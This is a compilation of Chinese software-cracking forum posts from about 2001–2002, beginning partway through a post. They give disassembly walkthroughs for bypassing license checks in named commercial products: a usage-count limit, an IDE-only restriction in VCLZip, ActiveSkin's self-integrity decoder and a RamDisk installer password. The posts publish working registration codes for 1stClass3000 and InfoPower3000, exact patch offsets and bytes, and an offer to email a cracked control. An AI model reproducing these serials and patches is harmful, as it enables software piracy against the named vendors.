33 FStStr -> '8ZxnxNP1'
34 Freeing Addrs: 0066F18Ch 0066F16Ch
35 FStStrNoPop -> '3'
36 Concat->'8ZxnxNP1' + '3'
37 FStStr -> '8ZxnxNP13' <-----往哪跑~~~~~~~~
38 Freeing Addrs: 0066F18Ch 0066F16Ch
----------------------------------------------------------------------

总结一下:
搞了老半天根本就搞不清楚程序是怎么算出注册码的,这也难怪,P-code的代码我能看得懂吗,虽然WKT VBDebugger一样可以看到程序的汇编代码,但我还是没有能力写个注册机出来的,不过至少我们学会了WKT VBDebugger的基本使用吧,这也不错呀,我们不用5分钟就把它搞掂啦,也是个好的开始吧!

_/_/_/
_/ _/_/_/ _/_/_/ _/_/
_/_/ _/ _/ _/ _/ _/
_/ _/ _/ _/ _/ _/
_/_/_/ _/_/_/ _/ _/ _/

Sam.com
20:40 2001-7-19


无限游戏存档II v2.3.38

 标 题:无限游戏存档II v2.3.38 **过程 (3千字)
发信人:小楼
时 间:2002-1-12 14:04:00
详细信息:
1.得到**码
A:
用smartcheck走一遍，就能得到你所需要的。

B:
因为知道输入的**码保存在软件安装目录下的boob.ini中：
[Reg]
Number=gWiT449x%
Test=0
exdec打开主程序无限游戏存档II.exe，以关键词“number”搜索，共3处，其中一处是软件启动时应用的，如下
4618C5: 1b LitStr: Number
4618C8: 43 FStStrCopy local_0094
4618CB: 04 FLdRfVar local_0094
4618CE: 1b LitStr: Reg
4618D1: 43 FStStrCopy local_0090
......
461975: Lead0/33 EqVarBool <--比较,msvbvm50!__vbastrcomp
461977: 36 FFreeVar
461984: 1c BranchF: 4619F9 <--jump if false
......
4619F9: 15 ExitProcI2 <--离开

所以用trw设断
bpm 461975
中断后F8走，直到你看到**码。

2.“注册版”180次使用限制
这样注册后依旧有180次使用限制。软件使用次数记录在软件安装目录下的list.com中：
[sos]
sos=1

A：
研究后我认为在这个公共版本中必定存在180次限制。

看：软件运行后首先执行代码如下：

Proc: 466c34
4666F4: 00 LargeBos
4666F6: 00 LargeBos
......
4668C3: f5 LitI4: 0xb4 180 (....) <--180次
4668C8: 71 FStR4 local_0110
4668CB: 00 LargeBos
4668CD: f5 LitI4: 0x0 0 (....) <--0次
4668D2: 94 FMemLdR4
4668D7: 1b LitStr: List.com
4668DA: 2a ConcatStr
4668DB: 46 CVarStr local_00B8
4668DE: 0b ImpAdCallI2 _rtcDir
4668E3: 23 FStStrNoPop local_008C
4668E6: 1b LitStr: 
4668E9: Lead0/30 EqStr <--比较
4668EB: 2f FFree1Str local_008C
4668EE: 35 FFree1Var local_00B8
4668F1: 1c 52 02 00 BranchF: 466946 <--jump then expired
4668F4: 00 LargeBos
4668F4: 00 LargeBos
4668F6: 04 FLdRfVar local_0120
4668F9: 94 FMemLdR4
4668FE: 1b LitStr: List.com
466901: 2a ConcatStr
466902: Lead2/59 PopTmpLdAdStr local_011C
466906: 1b LitStr: 1 <--
466909: 43 FStStrCopy local_0118 |
46690C: 04 FLdRfVar local_0118 |
46690F: 1b LitStr: sos |令sos==1
466912: 43 FStStrCopy local_0114 |
466915: 04 FLdRfVar local_0114 |
466918: 1b LitStr: sos <--
46691B: 43 FStStrCopy local_008C
46691E: 04 FLdRfVar local_008C
466921: 07 FMemLdRf
466926: 24 NewIfNullPr 407ea8
466929: 0d VCallHresult 7b3fbd80
46692E: 3e FLdZeroAd local_0120
466931: 46 CVarStr local_00B8
466934: Lead1/f6 FStVar
466938: 32 FFreeStr
466943: 1e Branch: 466c0f
......
......
466C0F: 00 LargeBos
......
466C32: 14 ExitProc

注意到
4668F1: 1c 52 02 00 BranchF: 466946 是关键跳转，如果这里永远继续执行
4668F4: 00 LargeBos 以后的代码，就会使得使用次数永远是1次
所以更改 4668F1: 1c 52 02 00 BranchF: 466946
为 4668F1: 1c 00 02 00 BranchF: 4668F4
用ultraedit打开主程序，定位到00065CF1h处，修改 1C 52 02 00
为 1C 00 02 00

B：
将list.com设置为“只读”属性，程序就不能记录使用次数了。


1212

 标 题:如何破解只能在编译器的IDE中运行的控件 (4千字)
发信人:blowfish
时 间:2001-11-14 10:44:14
详细信息:
其实很简单，这类控件（VCL、ActiveX）多半是用FindWindow、FindWindowEx等来查找编译器的IDE程序的窗口，据此来判断IDE是否正在运行。当然实际上也可以通过自己的父进程名来判断（即判断自己的loader是谁）IDE是否正在运行；还可以枚举系统所有进程，从中查找IDE的进程名···无非是根据IDE进程的某些独有特征。比如，假定某个IDE在运行时必定会创建一个名为“XXXXMutex”的mutex，则也可以通过是否存在这个mutex来判断IDE是否正在运行。

例子：

VCLZip v2.22 for BCB5
http://www.donet.com/~vclzip/

关闭BCB，运行编译好的程序，弹出个窗口说“This unregistered version of VCLZip will only run while the Delphi/BCB IDE is running”。

反编译VCLZipBCB5.bpl，看见：

* Referenced by a CALL at Addresses:
|:00406AA2 , :00410639 , :00410A2A , :00410F1F , :00410FF6
|:004110C8 , :00411206 , :004112F3 , :004113E3 , :004114EA
|:00411AA6
|
:004115C8 55 push ebp
:004115C9 8BEC mov ebp, esp
:004115CB 6A00 push 00000000
:004115CD 6A00 push 00000000
:004115CF 53 push ebx
:004115D0 8BD8 mov ebx, eax
:004115D2 33C0 xor eax, eax
:004115D4 55 push ebp
:004115D5 68D1164100 push 004116D1
:004115DA 64FF30 push dword ptr fs:[eax]
:004115DD 648920 mov dword ptr fs:[eax], esp
:004115E0 F6432010 test [ebx+20], 10
:004115E4 7554 jne 0041163A
:004115E6 E811170000 call 00412CFC
:004115EB 84C0 test al, al
:004115ED 754B jne 0041163A
:004115EF 8D55F8 lea edx, dword ptr [ebp-08]

* Possible Reference to String Resource ID=00200: "This unregistered version of VCLZip will only run while the "
|
:004115F2 B8C8000000 mov eax, 000000C8

* Reference To: VCL50.Sysutils::LoadStr(()), Ord:0000h
|
:004115F7 E8DC7A0000 Call 004190D8
:004115FC 8B55F8 mov edx, dword ptr [ebp-08]
:004115FF 8D8360010000 lea eax, dword ptr [ebx+00000160]

* Reference To: VCL50.System::::LStrAsg(void()), Ord:0000h
|
:00411605 E87C780000 Call 00418E86
:0041160A 8D55FC lea edx, dword ptr [ebp-04]

* Possible Reference to String Resource ID=00201: "Warning!"
|
:0041160D B8C9000000 mov eax, 000000C9

* Reference To: VCL50.Sysutils::LoadStr(()), Ord:0000h
|
:00411612 E8C17A0000 Call 004190D8
:00411617 6A00 push 00000000
:00411619 8D45FC lea eax, dword ptr [ebp-04]
:0041161C E8BF6B0000 call 004181E0
:00411621 50 push eax
:00411622 8D8360010000 lea eax, dword ptr [ebx+00000160]
:00411628 E8B36B0000 call 004181E0
:0041162D 50 push eax
:0041162E 6A00 push 00000000
:00411630 E8F57D0000 call 0041942A

* Reference To: VCL50.Sysutils::Abort(void()), Ord:0000h
|
:00411635 E8C6790000 Call 00419000

很明显call 00412CFC是关键的，其中检查BCB的IDE的窗口类和标题：

* Referenced by a CALL at Addresses:
|:0040F5E4 , :0040F5EF , :004115E6
|

* Possible StringData Ref from Data Obj ->"C++Builder 5"
|
:00412CFC 6890A44100 push 0041A490
:00412D01 6864A44100 push 0041A464
:00412D06 E813670000 call 0041941E
:00412D0B 85C0 test eax, eax
:00412D0D 7420 je 00412D2F
:00412D0F 6A00 push 00000000
:00412D11 6874A44100 push 0041A474
:00412D16 E803670000 call 0041941E
:00412D1B 85C0 test eax, eax
:00412D1D 7410 je 00412D2F
:00412D1F 6A00 push 00000000

* Possible StringData Ref from Data Obj ->"TAppBuilder"
|
:00412D21 6884A44100 push 0041A484
:00412D26 E8F3660000 call 0041941E
:00412D2B 85C0 test eax, eax
:00412D2D 7503 jne 00412D32

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00412D0D(C), :00412D1D(C)
|
:00412D2F 33C0 xor eax, eax
:00412D31 C3 ret

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00412D2D(C)
|
:00412D32 B001 mov al, 01
:00412D34 C3 ret


1stclass3000和infopower3000

标 题:delphi控件1stclass3000和infopower3000的口令pj
发信人dola1234
时 间:2002/01/30 11:34am
详细信息:

delphi控件1stclass3000和infopower3000的口令pj
两个软件的主页为:http://www.woll2woll.com
[1]:1STCLASS3000 RELEASE PRO
工具:W32asm8.93
用W32asm将1stclass3000 pro.exe反编译后并加载调试，直至弹出
口令错误的提示窗口，然后切换到w32asm的领空,按w32asm的自动跟踪
按钮，等一会儿再一次弹出口令的输入窗口，此时再切换到w32asm的领空
，按［F7:step into］按钮,然后再一次回到1stclass3000的口令输入窗口,
按[ok]按键，程序自动回到w32asm的领空，并停在下面的位置：

:10013BEC call GLC92B5.1001739A
:10013BF1 push eax
:10013BF2 push 00000603
:10013BF7 push dword ptr [100227DC]
:10013BFD call USER32.DialogBoxParamA
:10013C03 cmp eax, 00000002 <<-------当前EIP的位置
:10013C06 je 10013C36
:10013C08 push dword ptr [10022694]
:10013C0E push edi
:10013C0F call GLC92B5.10011B3B
:10013C14 push dword ptr [10022694]
:10013C1A call GLC92B5.10013C3B <<-----关键的口令校验函数[跟入]
:10013C1F add esp, 0000000C
:10013C22 test eax, eax
:10013C24 jne 10013B7C
:10013C2A and dword ptr [100227FC], FFFFFFFE
:10013C31 xor eax, eax
:10013C33 pop edi
:10013C34 pop esi
:10013C35 ret
:10013C36 push 00000001
:10013C38 pop eax

.....进入10013C1A的call后，按一会儿F10,来到这里：

:10013CC6 cmp byte ptr [eax], bl
:10013CC8 je 10013D01
:10013CCA cmp byte ptr [esi+edi], bl
:10013CCD je 10013D01
:10013CCF mov al, byte ptr [eax+esi]
:10013CD2 not al <<----取反
:10013CD4 movzx eax, al
:10013CD7 push eax
:10013CD8 call GLC2332.100180BF
:10013CDD mov ebp, eax
:10013CDF movsx eax, byte ptr [esi+edi]
:10013CE3 push eax
:10013CE4 call GLC2332.100180BF
:10013CE9 pop ecx
:10013CEA cmp ebp, eax <<---逐字节地比较
:10013CEC pop ecx
:10013CED jne 10013CFC <<---不相等就出错
:10013CEF mov eax, dword ptr [100224D4]
:10013CF4 inc esi
:10013CF5 cmp byte ptr [eax+esi], bl
:10013CF8 jne 10013CCA
:10013CFA jmp GLC2332.10013D01
:10013CFC mov eax, dword ptr [100224D4]
:10013D01 cmp byte ptr [eax+esi], bl
:10013D04 jne 10013D0F
:10013D06 cmp byte ptr [esi+edi], bl
:10013D09 jne 10013D0F
:10013D0B xor eax, eax
:10013D0D jmp GLC2332.10013D12
:10013D0F push 00000001
:10013D11 pop eax
:10013D12 pop edi
:10013D13 pop esi
:10013D14 pop ebp
:10013D15 pop ebx
:10013D16 ret

看明白了密码的校验过程,我们可以在10013CD2处设断点,拦下后可见到
以下的数据:
原码 取反 字符
[eax+00000000] - ce .31 .'1'
[eax+00000001] - ac .53 .'S'
[eax+00000002] - ab .54 .'T'
[eax+00000003] - cc .33 .'3'
[eax+00000004] - cf .30 .'0'
[eax+00000005] - cf .30 .'0'
[eax+00000006] - cf .30 .'0'
[eax+00000007] - c7 .38 .'8'
[eax+00000008] - cd .32 .'2'
[eax+00000009] - cb .34 .'4'
[eax+0000000A] - c8 .37 .'7'
[eax+0000000B] - cd .32 .'2'
[eax+0000000C] - ca .35 .'5'
[eax+0000000D] - ad .52 .'R'
[eax+0000000E] - b4 .4b .'K'
[eax+0000000F] - 00 .

1STCLASS3000 RELEASE PRO
故此得到的注册码为：1ST3000824725RK

以同样的跟踪过程可以得到INFORPOWER3000的注册数据如下：
原码 取反 字符
[eax+00000000] - b6 .49 .'I'
[eax+00000001] - af .50 .'P'
[eax+00000002] - cc .33 .'3'
[eax+00000003] - c9 .36 .'6'
[eax+00000004] - ca .35 .'5'
[eax+00000005] - cd .32 .'2'
[eax+00000006] - c8 .37 .'7'
[eax+00000007] - c6 .39 .'9'
[eax+00000008] - cd .32 .'2'
[eax+00000009] - cf .30 .'0'
[eax+0000000A] - ce .31 .'1'
[eax+0000000B] - c6 .39 .'9'
[eax+0000000C] - cd .32 .'2'
[eax+0000000D] - 00 .

INFORPOWER 3000 RELEASE PRO
故此得到的注册码为：IP36527920192


ActiveSkin 3.62

 标 题:我已爆破3.62版，要小心啊！有暗桩的…… (15千字)AcitveX控件
发信人:leo_cyl1
时 间:2001-11-6 18:04:28
详细信息:
ActiveSkin是一个很出色的skin（“皮肤”）AcitveX控件。支持vb，vc，dephi等，功能十分强大。
下载地址：http://www.softshape.com/download/activeskin.zip (v3.62版)
安装后，将在windows的system下产生ActiveSkin.ocx文件。
它的加密方式比较特别，如果直接修改原文件的话，修改后的ActiveSkin.ocx将不能再次注册成为控件。（即：用“Regsvr32.exe ActiveSkin.ocx”命令注册控件会失败，导致你开发的程序不能用在其他电脑上）。

因为是未注册的，所以当你的程序调用ActiveSkin时，将弹出Unregistered的对话框。
用w32asm反汇编ActiveSkin.ocx，查找字符“Unregistered control”，可看到下面代码：

:12121503 E879350000 call 12124A81
:12121508 33DB xor ebx, ebx
:1212150A 395DF8 cmp dword ptr [ebp-08], ebx
:1212150D 7441 je 12121550
:1212150F 389E44010000 cmp byte ptr [esi+00000144], bl
:12121515 7548 jne 1212155F

* Reference To: KERNEL32.GetTickCount, Ord:016Dh
|
:12121517 8B3DB4211512 mov edi, dword ptr [121521B4]
:1212151D FFD7 call edi
:1212151F 8945F4 mov dword ptr [ebp-0C], eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:12121549(C)
|
:12121522 6A10 push 00000010

* Possible StringData Ref from Data Obj ->"Unregistered control"
|
:12121524 68F0851512 push 121585F0

* Possible StringData Ref from Data Obj ->"Warning! This application was "
->"created with trial version of "
->"ActiveSkin control."
|
:12121529 685C851512 push 1215855C
:1212152E 53 push ebx

* Reference To: USER32.MessageBoxA, Ord:01BEh
|
:1212152F FF155C231512 Call dword ptr [1215235C]
============================================================================
很显然，修改12121515处，将jne改为jmp就可跳过对话框。为什么不改[esi+00000144]的初始化代码呢？因为有好几个地方将[esi+00000144]置0，其中包括mfc42.dll。改好后拿到别人电脑上注册控件，命令行方式下输入“Regsvr32.exe ActiveSkin.ocx”，失败！看来还有暗桩。将ActiveSkin.ocx恢复回原来的文件。再用w32asm反汇编。我们知道AcitveX控件注册时都要提供一个引出函数“DllRegisterServer”供Regsvr32.exe调用。可能ActiveSkin.ocx在函数DllRegisterServer检查自身是否被修改过。如果被修改过将注册失败。
现在看看DllRegisterServer函数，选菜单Functions->Exports,查DllRegisterServer函数，知道它的地址在12125386处。

好！先运行trw2000，control-n，下断点bpx loadlibraryexa do "d *(esp+4)",这个命令当 loadlibraryexa 被执行是中断，并显示出参数。然后在开始菜单的运行窗口输入“Regsvr32.exe 路径\ActiveSkin.ocx”
中断后，看一下参数，f5，直到参数为ActiveSkin.ocx，f12数次，回到Regsvr32.exe领空，此时下命令：bpx 12125386;f5，来到ActiveSkin的领空：
==============================================================================================
Exported fn(): DllRegisterServer - Ord:0003h
:12125386 833D94DB151200 cmp dword ptr [1215DB94], 00000000 <==解码标志
:1212538D 7523 jne 121253B2
:1212538F 68534F1312 push 12134F53

* Possible StringData Ref from Code Obj ->"?+?"
|
:12125394 68744E1312 push 12134E74
:12125399 BA5F161212 mov edx, 1212165F
:1212539E B9C1141212 mov ecx, 121214C1
:121253A3 E8E7900100 call 1213E48F <=========注意此call；进入
:121253A8 C70594DB151201000000 mov dword ptr [1215DB94], 00000001

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1212538D(C)
|
:121253B2 6A00 push 00000000
:121253B4 6A01 push 00000001
:121253B6 6810DB1512 push 1215DB10
:121253BB E83C150000 call 121268FC
:121253C0 C3 ret
===============================================================================================
* Referenced by a CALL at Addresses:
|:121210DC , :121253A3 , :121253DE , :1214792D , :1214AC65
|
:1213E48F 55 push ebp
:1213E490 8BEC mov ebp, esp
:1213E492 83EC24 sub esp, 00000024
:1213E495 53 push ebx
:1213E496 56 push esi
:1213E497 33DB xor ebx, ebx
:1213E499 57 push edi
:1213E49A 8955E0 mov dword ptr [ebp-20], edx
:1213E49D 894DDC mov dword ptr [ebp-24], ecx
:1213E4A0 894DF4 mov dword ptr [ebp-0C], ecx
:1213E4A3 885DFE mov byte ptr [ebp-02], bl
:1213E4A6 885DFD mov byte ptr [ebp-03], bl
:1213E4A9 885DFF mov byte ptr [ebp-01], bl
:1213E4AC 885DFC mov byte ptr [ebp-04], bl
:1213E4AF 895DF8 mov dword ptr [ebp-08], ebx
:1213E4B2 895DE4 mov dword ptr [ebp-1C], ebx

* Reference To: KERNEL32.GetCurrentProcess, Ord:00F7h
|
:1213E4B5 FF15CC211512 Call dword ptr [121521CC]
:1213E4BB BE30DC1512 mov esi, 1215DC30
:1213E4C0 8945E8 mov dword ptr [ebp-18], eax
:1213E4C3 6804010000 push 00000104
:1213E4C8 56 push esi
:1213E4C9 FF3514DB1512 push dword ptr [1215DB14]

* Reference To: KERNEL32.GetModuleFileNameA, Ord:0124h
|
:1213E4CF FF154C211512 Call dword ptr [1215214C]
:1213E4D5 53 push ebx
:1213E4D6 6880000000 push 00000080
:1213E4DB 6A03 push 00000003
:1213E4DD 53 push ebx
:1213E4DE 6A01 push 00000001
:1213E4E0 6800000080 push 80000000
:1213E4E5 56 push esi <=====打开"ActiveSkin.ocx"

* Reference To: KERNEL32.CreateFileA, Ord:0034h
|
:1213E4E6 FF15D8211512 Call dword ptr [121521D8]
:1213E4EC BE00101212 mov esi, 12121000
:1213E4F1 8945F0 mov dword ptr [ebp-10], eax
:1213E4F4 8BC6 mov eax, esi
:1213E4F6 2B054CA51512 sub eax, dword ptr [1215A54C]
:1213E4FC 8945EC mov dword ptr [ebp-14], eax
:1213E4FF 740E je 1213E50F
:1213E501 3AC3 cmp al, bl
:1213E503 750A jne 1213E50F

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1213E50A(C)
|
:1213E505 C1F808 sar eax, 08
:1213E508 3AC3 cmp al, bl
:1213E50A 74F9 je 1213E505
:1213E50C 8945EC mov dword ptr [ebp-14], eax

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:1213E4FF(C), :1213E503(C)
|

* Reference To: KERNEL32.SetFilePointer, Ord:026Ah
|
:1213E50F 8B3DDC201512 mov edi, dword ptr [121520DC]
:1213E515 8945F8 mov dword ptr [ebp-08], eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1213E5F3(C)
|
:1213E518 53 push ebx
:1213E519 8D45FE lea eax, dword ptr [ebp-02]
:1213E51C 6A01 push 00000001
:1213E51E 50 push eax
:1213E51F FF7508 push [ebp+08] 〈=======初始地址为12134e74
:1213E522 FF75E8 push [ebp-18]

* Reference To: KERNEL32.ReadProcessMemory, Ord:021Ch
|
:1213E525 FF15D8201512 Call dword ptr [121520D8]
:1213E52B 8B4508 mov eax, dword ptr [ebp+08] --+
:1213E52E 2BC6 sub eax, esi |通过虚拟地址
:1213E530 53 push ebx |计算文件偏移
:1213E531 0500100000 add eax, 00001000 --+
:1213E536 53 push ebx
:1213E537 50 push eax
:1213E538 FF75F0 push [ebp-10]
:1213E53B FFD7 call edi
:1213E53D 8D45E4 lea eax, dword ptr [ebp-1C]
:1213E540 53 push ebx
:1213E541 50 push eax
:1213E542 8D45FC lea eax, dword ptr [ebp-04]
:1213E545 6A01 push 00000001
:1213E547 50 push eax
:1213E548 FF75F0 push [ebp-10]

* Reference To: KERNEL32.ReadFile, Ord:0218h
|
:1213E54B FF15D0211512 Call dword ptr [121521D0]
:1213E551 8B45F4 mov eax, dword ptr [ebp-0C]
:1213E554 2BC6 sub eax, esi
:1213E556 53 push ebx
:1213E557 0500100000 add eax, 00001000
:1213E55C 53 push ebx
:1213E55D 50 push eax
:1213E55E FF75F0 push [ebp-10]
:1213E561 FFD7 call edi <==========edi 为"setfilepointer"
:1213E563 8D45E4 lea eax, dword ptr [ebp-1C]
:1213E566 53 push ebx
:1213E567 50 push eax
:1213E568 8D45FD lea eax, dword ptr [ebp-03]
:1213E56B 6A01 push 00000001
:1213E56D 50 push eax
:1213E56E FF75F0 push [ebp-10]

* Reference To: KERNEL32.ReadFile, Ord:0218h
|
:1213E571 FF15D0211512 Call dword ptr [121521D0]
:1213E577 8A45FC mov al, byte ptr [ebp-04]
:1213E57A 3845FE cmp byte ptr [ebp-02], al
:1213E57D 7534 jne 1213E5B3
:1213E57F 395DF8 cmp dword ptr [ebp-08], ebx
:1213E582 7408 je 1213E58C
:1213E584 8B4DF8 mov ecx, dword ptr [ebp-08]
:1213E587 3B4DEC cmp ecx, dword ptr [ebp-14]
:1213E58A 7527 jne 1213E5B3

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1213E582(C)
|
:1213E58C 8A45FF mov al, byte ptr [ebp-01]
:1213E58F 53 push ebx
:1213E590 3245FD xor al, byte ptr [ebp-03]
:1213E593 6A01 push 00000001
:1213E595 3245FE xor al, byte ptr [ebp-02]
:1213E598 8845FF mov byte ptr [ebp-01], al
:1213E59B 8B45EC mov eax, dword ptr [ebp-14]
:1213E59E 8945F8 mov dword ptr [ebp-08], eax
:1213E5A1 8D45FF lea eax, dword ptr [ebp-01]
:1213E5A4 50 push eax
:1213E5A5 FF7508 push [ebp+08]
:1213E5A8 FF75E8 push [ebp-18]

* Reference To: KERNEL32.WriteProcessMemory, Ord:02E9h
|
:1213E5AB FF15EC201512 Call dword ptr [121520EC] <==将解码后的数据写回
:1213E5B1 EB26 jmp 1213E5D9

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:1213E57D(C), :1213E58A(C)
|
:1213E5B3 3245FF xor al, byte ptr [ebp-01]
:1213E5B6 53 push ebx
:1213E5B7 6A01 push 00000001
:1213E5B9 3245FD xor al, byte ptr [ebp-03]
:1213E5BC 8845FF mov byte ptr [ebp-01], al
:1213E5BF 0FB6C0 movzx eax, al
:1213E5C2 0145F8 add dword ptr [ebp-08], eax
:1213E5C5 8D45F8 lea eax, dword ptr [ebp-08]
:1213E5C8 50 push eax
:1213E5C9 FF7508 push [ebp+08]
:1213E5CC FF75E8 push [ebp-18]

* Reference To: KERNEL32.WriteProcessMemory, Ord:02E9h
|
:1213E5CF FF15EC201512 Call dword ptr [121520EC] <==将解码后的数据写回
:1213E5D5 C17DF808 sar dword ptr [ebp-08], 08

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1213E5B1(U)
|
:1213E5D9 FF45F4 inc [ebp-0C]
:1213E5DC 8B45F4 mov eax, dword ptr [ebp-0C]
:1213E5DF 3B45E0 cmp eax, dword ptr [ebp-20]
:1213E5E2 7E06 jle 1213E5EA
:1213E5E4 8B45DC mov eax, dword ptr [ebp-24]
:1213E5E7 8945F4 mov dword ptr [ebp-0C], eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1213E5E2(C)
|
:1213E5EA FF4508 inc [ebp+08]
:1213E5ED 8B4508 mov eax, dword ptr [ebp+08]
:1213E5F0 3B450C cmp eax, dword ptr [ebp+0C] <==比较是否修改完；最后
:1213E5F3 0F8C1FFFFFFF jl 1213E518 的地址是12134f53
:1213E5F9 FF75F0 push [ebp-10]

* Reference To: KERNEL32.CloseHandle, Ord:001Bh
|
:1213E5FC FF15C4211512 Call dword ptr [121521C4]
:1213E602 6A01 push 00000001
:1213E604 58 pop eax
:1213E605 5F pop edi
:1213E606 5E pop esi
:1213E607 5B pop ebx
:1213E608 C9 leave
:1213E609 C20800 ret 0008
============================================================================================
在这里可以看到很多敏感的函数：CreateFileA，ReadFile，WriteProcessMemory……;经过分析，这段程序将根据自身的代码改写从12134e74到12134f53的代码(总长度为12134f53-12134e74=df)。如果原程序被修改的话，将解出一堆乱码，当执行到12134e74出就会出错。
好了，解决方法是当程序解出正确代码后，再将12134e74到12134f53出代码dump出来，再覆盖刚才第一次修改过的ActiveSkin.ocx文件。现在按F12，返回后， u 12134e74；看一下，解码正确！下命令："w 12134e74 l df c:\dump.bin".从w32asm中可知：
=======================================================================================
Code Offset = 00001000, Code Size = 00031000
Data Offset = 00038000, Data Size = 00006000

Number of Objects = 0005 (dec), Imagebase = 12120000h

Object01: .text RVA: 00001000 Offset: 00001000 Size: 00031000 Flags: 60000020
Object02: .rdata RVA: 00032000 Offset: 00032000 Size: 00006000 Flags: 40000040
Object03: .data RVA: 00038000 Offset: 00038000 Size: 00006000 Flags: C0000040
Object04: .rsrc RVA: 0003F000 Offset: 0003E000 Size: 00013000 Flags: 40000040
Object05: .reloc RVA: 00052000 Offset: 00051000 Size: 00005000 Flags: 42000040
=========================================================================================
那么地址12134e74的文件实际偏移为：12134e74-Imagebase=14e74;(你也可以用peditor的FLC功能计算)
用 hworks32载人第一次修改过的ActiveSkin.ocx文件，定位在偏移14e74处，用c:\dump.bin的数据覆盖，长度为0xdf(223)。注意备份。
另外还有两处要改，一个是DllRegisterServer，另一个是DllUnregisterServer。它们一开始检查一个标志，如果解码过，就不执行解码函数。

Exported fn(): DllRegisterServer - Ord:0003h
:12125386 833D94DB151200 cmp dword ptr [1215DB94], 00000000
:1212538D 7523 jne 121253B2 <=======改为jmp
:1212538F 68534F1312 push 12134F53
* Possible StringData Ref from Code Obj ->"?+?"
|
:12125394 68744E1312 push 12134E74
:12125399 BA5F161212 mov edx, 1212165F
:1212539E B9C1141212 mov ecx, 121214C1
:121253A3 E8E7900100 call 1213E48F
:121253A8 C70594DB151201000000 mov dword ptr [1215DB94], 00000001 <==解码完成，置1;

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1212538D(C)
|
:121253B2 6A00 push 00000000
:121253B4 6A01 push 00000001
:121253B6 6810DB1512 push 1215DB10
:121253BB E83C150000 call 121268FC
:121253C0 C3 ret
。
。
。
Exported fn(): DllUnregisterServer - Ord:0004h
:121253C1 833D94DB151200 cmp dword ptr [1215DB94], 00000000
:121253C8 7523 jne 121253ED <=======改为jmp
:121253CA 68534F1312 push 12134F53
==================================================================================
到此爆破完成。

标 题:关于爆破的一点补充…… (460字)
发信人:leo_cyl1
时 间:2001-11-7 9:43:04
详细信息:

1。bpx loadlibraryexa do "d *(esp+4)这个断点，是在控件注册时候下的，不是你的程序运行时下。即在“开始菜单-》运行”输入“Regsvr32.exe 路径\ActiveSkin.ocx”；另外输入前先确定ActiveSkin.ocx已经从注册表中卸载，如果没有可用以下命令：“Regsvr32.exe /u 路径\ActiveSkin.ocx”；
2。Regsvr32.exe 这个程序windows本身并不提供，是由vc或其他开发工具提供，这是ActiveX控件注册的常用工具。
3。我可以把Regsvr32.exe 和破解的ActiveSkin.ocx（v3.62)e-mail给你们，请提供e-mail地址。


RamDisk9xMe_Cenatek_v13r

 标 题:破解RamDisk9xMe的安装程序 (3千字)
发信人:波导终结者
时 间:2001-10-7 22:39:47
详细信息:
破这个RamDisk9xMe的安装程序。
RamDisk9xMe_Cenatek_v13r，把你的内存虚拟成硬盘，适用于内存大硬盘小的人士，下载地址：http://www.cenatek.com/RamDisk9xMe_Cenatek_v13r.exe
工具：TRW2000、十六进制编辑器（偶用WINHEX）
这个安装程序在启动后，要求输入密码，否则不能安装。先随便填一个，bpx hmemcpy,g,点OK，拦住。
pmodule后，来到这里。
015F:00402E5E FF1564414000 CALL `USER32!GetDlgItemTextA` 取得密码框的文本
015F:00402E64 FF7510 PUSH DWORD [EBP+10]
015F:00402E67 FF7508 PUSH DWORD [EBP+08]
015F:00402E6A FF1538414000 CALL `USER32!EndDialog` 关掉密码框
015F:00402E70 6A01 PUSH BYTE +01
015F:00402E72 58 POP EAX
015F:00402E73 5D POP EBP
015F:00402E74 C21000 RET 10 这里又回到了KERNEL32.DLL
再次pmodule，来到这里。
015F:00401D3C FF158C414000 CALL `USER32!DialogBoxParamA` 是这里叫出了密码框
015F:00401D42 83F802 CMP EAX,BYTE +02
015F:00401D45 0F848A000000 JZ NEAR 00401DD5
015F:00401D4B FF351C544000 PUSH DWORD [0040541C]
015F:00401D51 FF1590404000 CALL `KERNEL32!lstrlenA` 把密码框里文本的长度放在了EAX
015F:00401D57 0FB60D53544000 MOVZX ECX,BYTE [00405453]
015F:00401D5E 49 DEC ECX 过了这里之后，ECX为8
015F:00401D5F 3BC1 CMP EAX,ECX 比较EAX和ECX，也就是比较密码是否为八位（赶快把密码改成八位）
015F:00401D61 756B JNZ 00401DCE 不是则跳，不能安装。是就继续执行。（修改地方一）
015F:00401D63 8B0D1C544000 MOV ECX,[0040541C]
015F:00401D69 C705885440005AC2+MOV DWORD [00405488],005BC25A
015F:00401D73 8A01 MOV AL,[ECX] 把密码框的内容放进去
015F:00401D75 84C0 TEST AL,AL
015F:00401D77 740F JZ 00401D88
015F:00401D79 3C61 CMP AL,61
015F:00401D7B 7C08 JL 00401D85
015F:00401D7D 3C7A CMP AL,7A
015F:00401D7F 7F04 JG 00401D85
015F:00401D81 2C20 SUB AL,20
015F:00401D83 8801 MOV [ECX],AL
015F:00401D85 41 INC ECX 把密码一位一位地变成大写。循环八次。完了之后就执行下面的JMP，
015F:00401D86 EBEB JMP SHORT 00401D73
继续按F10，来到下面。
015F:00401DAE 8D95A8F0FFFF LEA EDX,[EBP+FFFFF0A8]
015F:00401DB4 2BD1 SUB EDX,ECX
015F:00401DB6 8A19 MOV BL,[ECX]
015F:00401DB8 3A1C0A CMP BL,[EDX+ECX]
015F:00401DBB 7504 JNZ 00401DC1
015F:00401DBD 41 INC ECX
015F:00401DBE 48 DEC EAX
015F:00401DBF 75F5 JNZ 00401DB6
015F:00401DC1 33C9 XOR ECX,ECX
015F:00401DC3 85C0 TEST EAX,EAX
015F:00401DC5 0F94C1 SETZ CL
015F:00401DC8 8BC1 MOV EAX,ECX
015F:00401DCA 85C0 TEST EAX,EAX 这里比较密码（可是找不到真密码的明码啊，谁能帮忙看一看）
015F:00401DCC 7511 JNZ 00401DDF 对了就跳，开始安装。（修改地方二）
015F:00401DCE 6A00 PUSH BYTE +00
